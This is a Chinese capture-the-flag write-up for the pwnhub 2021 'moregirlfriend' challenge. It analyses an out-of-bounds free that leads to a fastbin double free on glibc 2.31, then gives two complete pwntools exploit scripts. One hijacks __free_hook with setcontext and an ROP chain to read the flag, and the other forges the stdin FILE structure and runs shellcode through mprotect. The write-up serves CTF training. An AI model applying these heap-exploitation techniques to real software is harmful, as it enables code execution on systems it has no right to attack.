2021 pwnhub【迎中秋】公开赛

moregirlfriend

分析

glibc 2.31版本,开启沙箱禁用了execve,saygoodbye功能是一个其中释放堆的操作,漏洞就在这个函数中

4

因为for循环编写不当导致越界,且同时to_free_list变量下面接着的是chunk变量,所以可以通过该越界漏洞free(chunk[0])进而构造double free(因为2.31的tcache有double free检测,所以需要构造在fastbin中)

5

做法1

通过fastbin attach攻击 free_hook,通过setcontext控制寄存器进行ORW,由于自2.29版本后setcontext的参数由rdi变成rdx,所以该方法需要找到一条gadget将rdi赋值给rdx,例如mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys
context.arch = "amd64"
local = 1
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./moregirlfriend')
elf = ELF('./moregirlfriend')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x202040))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla("wow:",str(idx))

def add(idx,size,data):
choice(1)
sla("one?\n",str(idx))
sla("Height?\n",str(size))
sda("girlfriend?\n",data)

def delete(num,idx=[]):
choice(2)
sla("you?\n",str(num))
for i in range(num):
sla("girlfriend?\n",str(idx[i]))

# leak libc
add(12,0x450,'12\n')
add(13,0x450,'13\n')
delete(1,[12])
choice(3)
add(12,0x450,'a\n')
delete(2,[12,13])
choice(3)
main_arena = u64(rc(6).ljust(8,b'\x00'))+0x1f

add(0,0x68,'0\n')
add(1,0x68,'1\n')
add(2,0x68,'2\n')
add(3,0x68,'3\n')
add(4,0x68,'4\n')
add(5,0x68,'5\n')
add(6,0x68,'6\n')
add(7,0x68,'7\n')
add(8,0x68,'8\n')
add(9,0x68,'9\n')
add(10,0x68,'10\n')
add(11,0x68,'11\n')

delete(2,[11,10])
choice(3)
delete(8,[1,2,3,4,5,6,0,7])
choice(3)

ru("7 has left you.\n")
heap_base = u64(rc(6).ljust(8,b'\x00')) - 0x530

malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
leak("heap_base",heap_base)
# leak("main_arena",main_arena)
leak("libc_base",libc_base)

add(0,0x68,'0\n')
add(1,0x68,'1\n')
add(2,0x68,'2\n')
add(3,0x68,'3\n')
add(4,0x68,'4\n')
add(5,0x68,'5\n')
add(6,0x68,'6\n')

add(7,0x68,p64(free_hook) + b'\n')
add(10,0x68,'10\n')
add(11,0x68,'11\n')
# 0x0000000000154930:
# mov rdx, qword ptr [rdi + 8];
# mov qword ptr [rsp], rax;
# call qword ptr [rdx + 0x20];
# 0x0000000000066229: syscall; ret;
gadget = libc_base + 0x0000000000154930
setcontext = libc_base + libc.sym['setcontext']
syscall_ret = libc_base + 0x0000000000066229
# free_hook
add(12,0x68,p64(gadget) + b'\n')
flag_addr = heap_base + 0x9a0
rsp_addr = heap_base + 0x8d8
srop_open=SigreturnFrame()
srop_open.rsp=rsp_addr
srop_open.rdi=0
srop_open.rsi=heap_base + 0x8d8
srop_open.rdx=0x100
srop_open.rip=syscall_ret

frame = bytes(srop_open)

pay = p64(0) + p64(heap_base + 0x7d0) + p64(setcontext + 61) + frame[0x28:]
pay += p64(0)*2
pay += p64(syscall_ret)
add(13,0x250,pay + b'\n')

delete(1,[13])
# debug(0x1843)
choice(3)

# 0x0000000000026b72: pop rdi; ret;
# 0x0000000000027529: pop rsi; ret;
# 0x000000000011c371: pop rdx; pop r12; ret;
# 0x000000000004a550: pop rax; ret;
pop_rdi = libc_base + 0x0000000000026b72
pop_rsi = libc_base + 0x0000000000027529
pop_rdx_r12 = libc_base + 0x000000000011c371
pop_rax = libc_base + 0x000000000004a550

# open("flag.txt")
pay = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(pop_rax) + p64(2) + p64(syscall_ret)
# read(3,flag_addr,0x20)
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx_r12) + p64(0x20)*2 + p64(pop_rax) + p64(0) + p64(syscall_ret)
# write(1,flag_addr,0x20)
pay += p64(pop_rdi) + p64(1) + p64(pop_rax) + p64(1) + p64(syscall_ret)
pay += b'flag.txt\x00'
pause()
sl(pay)
# debug()

p.interactive()

做法2

利用fastbin attack 攻击 stdin,优势在于rdx可以通过_IO_2_1_stdin_->_IO_write_ptr控制,比较方便

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.arch = 'amd64'
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./moregirlfriend')
elf = ELF('./moregirlfriend')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x202040))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla("wow:",str(idx))

def add(idx,size,data):
choice(1)
sla("one?\n",str(idx))
sla("Height?\n",str(size))
sda("girlfriend?\n",data)

def delete(num,idx=[]):
choice(2)
sla("you?\n",str(num))
for i in range(num):
sla("girlfriend?\n",str(idx[i]))

# leak libc
add(12,0x450,'12\n')
add(13,0x450,'13\n')
delete(1,[12])
choice(3)
add(12,0x450,'a\n')
delete(2,[12,13])
choice(3)
main_arena = u64(rc(6).ljust(8,b'\x00'))+0x1f

add(0,0x68,'0\n')
add(1,0x68,'1\n')
add(2,0x68,'2\n')
add(3,0x68,'3\n')
add(4,0x68,'4\n')
add(5,0x68,'5\n')
add(6,0x68,'6\n')
add(7,0x68,'7\n')
add(8,0x68,'8\n')
add(9,0x68,'9\n')
add(10,0x68,'10\n')
add(11,0x68,'11\n')

delete(2,[11,10])
choice(3)
delete(8,[1,2,3,4,5,6,0,7])
choice(3)

ru("7 has left you.\n")
heap_base = u64(rc(6).ljust(8,b'\x00')) - 0x530

malloc_hook = main_arena - 0x10
malloc_hook_base = malloc_hook & 0xfffffffffffff000
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
stdin = libc_base + libc.sym['_IO_2_1_stdin_']
vtable = libc_base + 0x1ed560
setcontext = libc_base + libc.sym['setcontext']
leak("heap_base",heap_base)
# leak("main_arena",main_arena)
leak("libc_base",libc_base)
leak("stdin",stdin)

add(0,0x68,'0\n')
add(1,0x68,'1\n')
add(2,0x68,'2\n')
add(3,0x68,'3\n')
add(4,0x68,p64(0) + p64(0x291)+ b'\n')
add(5,0x68,'5\n')
add(6,0x68,'6\n')

pay = p64(heap_base + 0x320)
add(7,0x68,pay + b'\n')

add(10,0x68,'10\n')
add(11,0x68,'11\n')
add(12,0x68,'12\n')
add(13,0x288,'13\n')

delete(3,[13,12,4])
choice(3)

add(4,0x68,p64(0) + p64(0x291) + p64(stdin) + b'\n')

add(12,0x288,'12\n')

# size = 0xe0
fake_io = p64(0xfbad1800) #flag
fake_io += p64(0) #_IO_read_ptr
fake_io += p64(0) #_IO_read_end
fake_io += p64(0) #_IO_read_base
fake_io += p64(0) #_IO_write_base
fake_io += p64(stdin+0xe0) #_IO_write_ptr (setcontext的参数rdx,使其指向 srop_mprotect)
fake_io += p64(0) #_IO_write_end
fake_io += p64(0) #_IO_buf_base
fake_io += p64(0) #_IO_buf_end
fake_io += p64(0) #_IO_save_base
fake_io += p64(0) #_IO_backup_base
fake_io += p64(0) #_IO_save_end
fake_io += p64(0) #_markers
fake_io += p64(0) #_chain
fake_io += p64(0) #_fileno
fake_io += p64(0) #_flags2
fake_io += p64(0) #_old_offset
fake_io += p64(0) #_cur_column
fake_io += p64(0) #_vtable_offset
fake_io += p64(0) #_shortbuf
fake_io += p64(0) #_lock
fake_io += p64(0) #_offset
fake_io += p64(0) #_codecvt
fake_io += p64(0) #_wide_data
fake_io += p64(0) #_freeres_list
fake_io += p64(0) #_freeres_buf
fake_io += p64(0) #__pad5
fake_io += p64(vtable) #vtable

srop_mprotect = SigreturnFrame()
srop_mprotect.rsp = malloc_hook + 0x8
srop_mprotect.rdi = malloc_hook_base
srop_mprotect.rsi = 0x1000
srop_mprotect.rdx = 7
srop_mprotect.rip = libc_base + libc.sym['mprotect']

# read shellcode
mpro = '''
xor rdi,rdi
mov rsi,%d
mov rdx,0x1000
xor rax,rax
syscall
jmp rsi
'''%malloc_hook_base

pay = fake_io + bytes(srop_mprotect) + p64(0)*3 + p64(setcontext + 61) + p64(malloc_hook + 0x10) + asm(mpro)
add(13,0x288,pay + b'\n')

choice(2)
# gdb.attach(p,"b *0x5555555556d6")
sla("you?\n",str(10)) #执行exit(0)
shellcode = shellcraft.amd64.open("flag.txt")
shellcode += shellcraft.amd64.read(3,malloc_hook_base,0x20)
shellcode += shellcraft.amd64.write(1,malloc_hook_base,0x20)
pause()
sl(asm(shellcode))

p.interactive()
0%